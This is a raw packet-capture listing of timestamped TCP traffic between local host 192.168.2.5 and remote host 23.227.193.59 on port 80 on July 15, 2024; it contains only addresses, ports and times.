Jul 15, 2024 00:48:34.370946884 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.370956898 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.370980978 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.395673990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.395695925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.395708084 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.395719051 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.395730972 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.395742893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.395755053 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.395765066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.395781994 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.395947933 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.454904079 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.454919100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.454940081 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.454950094 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.454967022 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.455002069 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.455018044 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.455029011 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.455041885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.455055952 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.455068111 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.455079079 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.455106020 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.455163002 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.455174923 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.455188036 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.455199003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.455214024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.455229044 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.455243111 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.455261946 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.455878019 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456010103 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456021070 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456033945 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456044912 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456048012 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.456058979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456072092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456074953 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.456094027 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.456459999 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456471920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456496000 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456509113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456511974 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.456520081 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456532955 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456533909 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.456576109 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.456598997 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456610918 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456621885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456737041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456748962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456759930 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456763983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.456773996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456828117 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.456828117 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.456876040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456888914 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456899881 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456909895 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456929922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456938982 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.456943989 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456964016 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456964970 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.456976891 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.456985950 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.457015991 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.457061052 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457073927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457113981 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.457493067 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457505941 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457515955 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457529068 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457540989 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457551956 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.457572937 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.457597017 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457608938 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457619905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457632065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457634926 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.457644939 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457657099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457669020 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457672119 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.457683086 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457699060 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.457724094 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.457868099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457890034 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457921028 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.457931042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457942963 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.457978964 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.457995892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458009005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458034039 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.458194971 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458209991 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458221912 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458233118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458244085 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458249092 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.458261967 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458273888 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458286047 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458298922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458307981 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.458307981 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.458340883 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.458360910 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458374023 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458384037 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458396912 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458409071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458409071 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.458447933 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.458493948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458503962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458515882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458528042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458539009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458550930 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458563089 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458564043 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.458619118 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.458619118 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.458633900 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458645105 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458656073 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458666086 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458678007 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458703995 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.458734035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458745956 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458758116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458770037 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458786011 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.458821058 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.458857059 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458869934 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458880901 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458893061 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.458920002 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.459075928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.459088087 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.459100008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.459131002 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.459156036 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.459403992 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.459429979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.459440947 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.459480047 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.459481001 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.459495068 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.459506035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.459517002 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.459542990 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.484539032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.484600067 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.484622002 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.484633923 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.484644890 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.484658003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.484669924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.484684944 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.484690905 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.484731913 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.484738111 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.528930902 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.543641090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.543663979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.543675900 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.543687105 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.543699026 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.543710947 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.543721914 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.543757915 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.543785095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.543792009 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.543797970 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.543807983 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.543812990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.543818951 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.543831110 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.543843031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.543857098 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.543881893 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.544874907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.544888020 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.544898987 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.544929028 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.545063972 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545074940 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545085907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545097113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545111895 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.545135975 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.545310020 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545320988 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545331001 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545341015 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545367956 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.545388937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545406103 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545417070 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545425892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545439959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545452118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545452118 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.545483112 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.545607090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545619011 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545627117 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545639038 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545643091 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.545650959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545661926 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545665979 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.545672894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545685053 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545691013 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.545698881 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545710087 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.545730114 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545742035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.545749903 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.545783043 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.546314955 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546325922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546335936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546345949 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546355963 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546365976 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546372890 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.546377897 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546387911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546400070 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546401978 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.546411991 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546422958 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.546422958 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546435118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546453953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546456099 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.546464920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546482086 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546482086 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.546506882 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.546511889 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546551943 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.546662092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546713114 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546722889 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546760082 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.546777010 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546969891 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.546981096 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547003031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547019005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547030926 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547043085 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.547043085 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547058105 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547077894 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.547101021 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.547183990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547195911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547214031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547226906 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547239065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547249079 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.547256947 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547269106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547281027 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547281981 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.547292948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547318935 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.547329903 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547332048 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.547354937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547367096 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547390938 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.547429085 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547440052 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547451973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547472954 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547483921 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547493935 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.547494888 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547508955 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547519922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547522068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.547563076 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.547640085 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547708035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547719955 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547749996 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.547806025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547903061 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547921896 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547935009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547945976 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547951937 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.547960043 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547966003 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.547974110 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.547986031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.548001051 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.548027992 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.548520088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.548557997 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.548568964 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.548690081 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.548700094 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.548708916 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.548719883 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.548737049 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.548764944 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.579420090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.579432011 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.579442024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.579452038 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.579464912 CEST	80	57614	23.227.193.59	192.168.2.5
